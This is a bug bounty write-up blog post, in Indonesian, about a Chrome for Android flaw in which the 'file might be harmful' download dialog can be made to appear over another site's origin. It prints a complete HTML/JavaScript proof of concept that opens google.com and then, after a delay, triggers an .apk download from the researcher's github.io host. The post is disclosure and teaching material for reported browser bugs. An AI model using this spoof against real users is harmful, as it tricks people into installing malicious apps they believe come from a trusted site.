Skip to main content

Command Palette

Search for a command to run...

$1000 from Chrome VRP for a Simple File Download Dialog Handling Bug on Android

Updated
3 min read
$1000 from Chrome VRP for a Simple File Download Dialog Handling Bug on Android

Alhamdulillah, beberapa bulan lalu saya berhasil mendapatkan bounty $1000 dari Chrome VRP melalui bug insecure download handling yang saya temukan pada Chrome Android. Mari kita bahas PoC lengkapnya.

Awalnya, saya menemukan bug ini melalui cara yang nggak terduga, karena sebelumnya saya hanya mencoba retest semua vulnerability yg sudah di disclosed oleh pihak Chromium. Buat yang belum tau, ini adalah link query untuk melihat semua vulnerability yg sudah di fixed dan di disclosed oleh Chromium untuk bahan belajar:

https://issues.chromium.org/issues?q=type:vulnerability%20status:fixed%20spoof

Sampai pada akhirnya saya menemukan bug yang sangat menarik, dan dibayar bounty dengan bounty besar juga, yaitu $7500 (https://issues.chromium.org/issues/40055527). Bug nya cukup simpel, intinya file download confirmation bisa muncul di origin lain. Contohnya kalau di Chrome Android, ketika kita ingin download file misal file .apk, browser akan memunculkan confirmation dialog untuk memastikan apakah kita beneran mau download file itu atau tidak. Confirmation dialog itu harusnya hanya boleh muncul pada tab yang merupakan origin dari file tersebut, semisal confirmation dialog tersebut merupakan konfirmasi untuk download file facebook.apk dari website https://facebook.com, harusnya confirmation dialog itu hanya boleh muncul di https://facebook.com, gak boleh di web lain. Cuplikan video PoC dari report https://issues.chromium.org/issues/40055527 bisa dilihat pada.

Disitu terlihat bahwa confirmation dialog poc.apk bisa muncul pada site google.com, padahal aslinya file itu berasal dari sha3.ezyro.com, dengan adanya kerentanan ini user akan mengira bahwa poc.apk benar-benar berasal dari https://google.com (padahal bukan).

Nah, biasanya setiap security bug yang sudah di disclosed oleh Chromium, akan disertakan juga file exploitnya, kalau spoof biasanya akan di share dalam bentuk HTML & JS [GAMBAR 3]. Langsung saja disini saya melakukan retest bug tersebut tanpa melakukan custom dari exploit yang sudah ada, hanya mengganti lokasi tempat file .apk tersebut di download saja yang diganti. Dan jadinya file PoC berikut ini:

<html>
 <head> 
  <meta charset="utf-8">
<style>
.button {
  background-color: #4CAF50;
  border: none;
  color: white;
  padding: 15px 32px;
  text-align: center;
  text-decoration: none;
  display: inline-block;
  font-size: 16px;
  margin: 4px 2px;
  cursor: pointer;
}
</style>
 </head> 
 <body> 
  <script>
function a(){
    window.open('https://google.com', 'x');
    setTimeout(function(){
        window.open('https://frozzipies.github.io/test.apk', 'x');
    }, 5000);
}
</script> 
  <center><input type="button" class="button" value="Download From Original Site" onclick="a()"> </center>
 </body>
</html>

Kunci dari file PoC ini ada pada JS code berikut ini. Yang dimana akan membuat trigger, ketika button di click, browser akan membuka https:/google.com dan melakukan download file .apk dari https://frozzipies.github.io/test.apk menggunakan window.open dan setTimeout

 <body> 
  <script>
function a(){
    window.open('https://google.com', 'x');
    setTimeout(function(){
        window.open('https://frozzipies.github.io/test.apk', 'x');
    }, 5000);
}
</script> 
  <center><input type="button" class="button" value="Download From Original Site" onclick="a()"> </center>
 </body>

Dengan mengeksekusi button tersebut, user akan di redirect ke https://google.com/ dan melakukan eksekusi fungsi setTimeout setelah 5 detik, untuk memunculkan dialog download test.apk dari https://frozzipies.github.io/test.apk sebagai attacker site.

Awalnya saya berpikir bug ini sudah di fixed, ternyata Chromium belum melakukan fixing secara penuh terkait bug ini. Karena, Chromium memiliki fitur "file might be harmful" yang akan selalu muncul ketika user mendownload executable file seperti .apk .exe .sh dll secara direct.

Jadi ketika executable file yang di download, confirmation dialog tidak akan lagi muncul, melainkan yang akan muncul adalah "file might be harmful" dialog, Dan yang jadi root cause dari bug ini adalah pada "file might be harmful" dialog yang tidak memiliki origin, sehingga dialog tersebut bisa muncul di origin atau site manapun tanpa ada security restriction seperti confirmation dialog. Sebenarnya saya berharap bug ini akan dibayar lebih tinggi dibanding $1000, tapi ya mungkin rejekinya memang segini, jadi tetep disyukuri aja, Alhamdulillah. VIdeo PoC dan file PoC exploitnya sudah saya attach ya di Laporan asli bug ini: https://issues.chromium.org/issues/415496161

More from this blog

B

BountyProofs | Bug Bounty Writeups & Free Tools

37 posts

Explore real-world bug bounty proofs of concept. Learn how ethical hackers find and exploit security flaws across platforms.